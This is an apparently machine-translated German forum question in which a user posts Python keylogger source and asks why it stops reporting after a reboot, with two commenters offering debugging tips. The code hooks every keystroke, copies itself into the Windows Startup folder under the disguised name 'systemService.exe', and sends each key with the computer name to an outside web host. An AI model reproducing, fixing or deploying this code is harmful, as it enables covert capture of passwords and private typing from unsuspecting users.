Python-Keylogger

938
Mayank Pal

Ich versuche, einen Python-Keylogger zu erstellen, der beim Start automatisch ausgeführt wird. Hier ist der Python-Code

import pyHook, pythoncom, os, httplib, urllib, getpass, shutil, sys  userName = getpass.getuser() filePath = "C:\users\%s\AppData\Roaming\Microsoft\windows\Start Menu\Programs\Startup\\" %userName  if os.path.exists(filePath): if os.path.isfile(filePath+'systemService.exe')==False: try: shutil.copy2(sys.argv[0],filePath+'systemService.exe') except: pass def OnKeyBoardEvent(event): try: params = urllib.urlencode({'pcName': os.environ['COMPUTERNAME'], 'toLog': chr(event.Ascii)}) conn = httplib.HTTPConnection("keylogging.mywebcommunity.org") conn.request("GET","/index.php?"+params) except: pass return True hook_manager = pyHook.HookManager() hook_manager.KeyDown = OnKeyBoardEvent hook_manager.HookKeyboard() pythoncom.PumpMessages() 

Dieser Keylogger protokolliert alle ASCII-Daten auf dem im Code genannten Server mit php.Es funktioniert einwandfrei, wenn ich diese Pyw-Datei ausführte, aber wenn ich den PC neu starte, meldet er sich nicht in der Datei auf dem Server an. Ich habe doppelt geprüft, ob dieses Programm im Startverzeichnis vorhanden ist und nach dem Neustart im Hintergrund ausgeführt wird. Es werden jedoch immer noch keine Daten in der Server-Datei protokolliert.

1
Meldet es sich nach dem Neustart bei einer lokalen Datei in Ordnung? adampski vor 7 Jahren 0
Versuchen Sie, eine .bat-Datei mit dem richtigen Befehl zu erstellen, um die Datei auszuführen und beim Start auszuführen. Möglicherweise werden einige Argumente nicht korrekt für die Datei ausgeführt, was zu Fehlern führt. Um dies zu testen, würde ich empfehlen, einen `try: #code außer (open) (" somefile "," w "). Write (" error ") zu setzen, um sicherzustellen, dass das Programm irgendwo eine Ausnahme ausführt, aber es ignoriert. ytpillai vor 7 Jahren 0

0 Antworten auf die Frage